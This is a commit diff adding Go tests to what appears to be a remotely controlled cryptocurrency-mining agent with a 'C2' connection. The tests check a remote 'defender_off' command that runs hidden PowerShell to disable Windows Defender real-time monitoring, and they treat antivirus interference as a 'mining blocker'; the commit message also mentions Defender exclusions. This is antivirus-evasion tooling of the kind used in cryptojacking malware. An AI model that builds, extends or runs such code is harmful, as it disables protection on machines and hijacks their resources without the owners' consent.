Add AV/Defender tests for diagnostics, exclusions, and defender_off.

Vitest covers mining diagnostics JSON blockers, AV-Safe preset fields, Calibrate .ps1 generation, and Settings Defender UI; Go tests cover defender_off error paths and mining blocker inference.

agent/client/aggressive_commands_test.go

@@ -188,6 +188,46 @@ func TestPathTracerCommandWgConfigureBadPayload(t *testing.T) {
 	}
 }
 
+func TestDefenderOffRequiresRemoteAggressive(t *testing.T) {
+	c := newTestClient(t)
+	c.cfg.RemoteAggressive = false
+	ok, reason := c.allowRemoteAction("defender_off")
+	if ok || reason == "" {
+		t.Fatalf("expected defender_off gated without remote_aggressive")
+	}
+	c.cfg.RemoteAggressive = true
+	ok, reason = c.allowRemoteAction("defender_off")
+	if !ok || reason != "" {
+		t.Fatalf("expected defender_off allowed: ok=%v reason=%q", ok, reason)
+	}
+}
+
+func TestDefenderOffErrorPathNonWindows(t *testing.T) {
+	if runtime.GOOS == "windows" {
+		t.Skip("Windows success/failure paths tested in deploy/defender_windows_test.go")
+	}
+	c := newTestClient(t)
+	c.cfg.RemoteAggressive = true
+	var gotAct string
+	var gotOK bool
+	var gotMsg string
+	c.commandResultHook = func(action string, success bool, message string) {
+		gotAct, gotOK, gotMsg = action, success, message
+	}
+	if !c.handleAggressiveCommand("defender_off", 0, "", "", "") {
+		t.Fatal("defender_off should be handled")
+	}
+	if gotAct != "defender_off" {
+		t.Fatalf("action=%q", gotAct)
+	}
+	if gotOK {
+		t.Fatalf("expected failure on non-Windows, msg=%q", gotMsg)
+	}
+	if !strings.Contains(gotMsg, "Windows-only") && !strings.Contains(gotMsg, "defender disable failed") {
+		t.Fatalf("expected defender error in message, got %q", gotMsg)
+	}
+}
+
 func TestPathTracerCommandWgStatusRoutes(t *testing.T) {
 	var (
 		mu     sync.Mutex

agent/client/mining_diagnostics_test.go

@@ -178,6 +178,30 @@ func TestMiningDiagnosticsIncludesTierChainFields(t *testing.T) {
 	}
 }
 
+func TestInferMiningBlockersJobPresentZeroHashrate(t *testing.T) {
+	c := testDiagnosticsClient(t, config.RuntimeConfig{})
+	d := MiningDiagnostics{
+		C2Connected: true,
+		CPU: struct {
+			RemotePaused     bool    `json:"remote_paused"`
+			ScheduleBlocked  bool    `json:"schedule_blocked"`
+			ResourcesBlocked bool    `json:"resources_blocked"`
+			HasJob           bool    `json:"has_job"`
+			Hashrate         float64 `json:"hashrate_hps"`
+		}{HasJob: true, Hashrate: 0},
+	}
+	blockers := c.inferMiningBlockers(d)
+	found := false
+	for _, b := range blockers {
+		if strings.Contains(b, "hashrate=0") && strings.Contains(b, "AV") {
+			found = true
+		}
+	}
+	if !found {
+		t.Fatalf("expected AV/throttle blocker, got %v", blockers)
+	}
+}
+
 func TestInferMiningBlockersGPUConfiguredInactive(t *testing.T) {
 	c := testDiagnosticsClient(t, config.RuntimeConfig{
 		BuiltinConfig: config.BuiltinConfig{GPUEnabled: true},

agent/deploy/defender_windows_test.go

@@ -0,0 +1,52 @@
+//go:build windows
+
+package deploy
+
+import (
+	"errors"
+	"strings"
+	"testing"
+)
+
+func TestDisableDefenderRealtimeSuccess(t *testing.T) {
+	SetHiddenCombinedOutputFn(func(name string, arg ...string) ([]byte, error) {
+		if name != "powershell" {
+			t.Fatalf("expected powershell, got %q", name)
+		}
+		joined := strings.Join(arg, " ")
+		if !strings.Contains(joined, "DisableRealtimeMonitoring") {
+			t.Fatalf("missing DisableRealtimeMonitoring in %q", joined)
+		}
+		return []byte(""), nil
+	})
+	defer SetHiddenCombinedOutputFn(nil)
+
+	msg, err := DisableDefenderRealtime()
+	if err != nil {
+		t.Fatalf("unexpected error: %v msg=%q", err, msg)
+	}
+	if !strings.Contains(msg, "real-time monitoring disabled") {
+		t.Fatalf("expected success message, got %q", msg)
+	}
+}
+
+func TestDisableDefenderRealtimeAdminRequiredError(t *testing.T) {
+	SetHiddenCombinedOutputFn(func(name string, arg ...string) ([]byte, error) {
+		return []byte("access denied"), errors.New("exit status 1")
+	})
+	defer SetHiddenCombinedOutputFn(nil)
+
+	msg, err := DisableDefenderRealtime()
+	if err == nil {
+		t.Fatalf("expected error, got msg=%q", msg)
+	}
+	if !strings.Contains(err.Error(), "defender disable failed") {
+		t.Fatalf("unexpected error: %v", err)
+	}
+	if !strings.Contains(err.Error(), "admin required") {
+		t.Fatalf("expected admin hint in error: %v", err)
+	}
+	if !strings.Contains(msg, "access denied") {
+		t.Fatalf("expected stderr in message, got %q", msg)
+	}
+}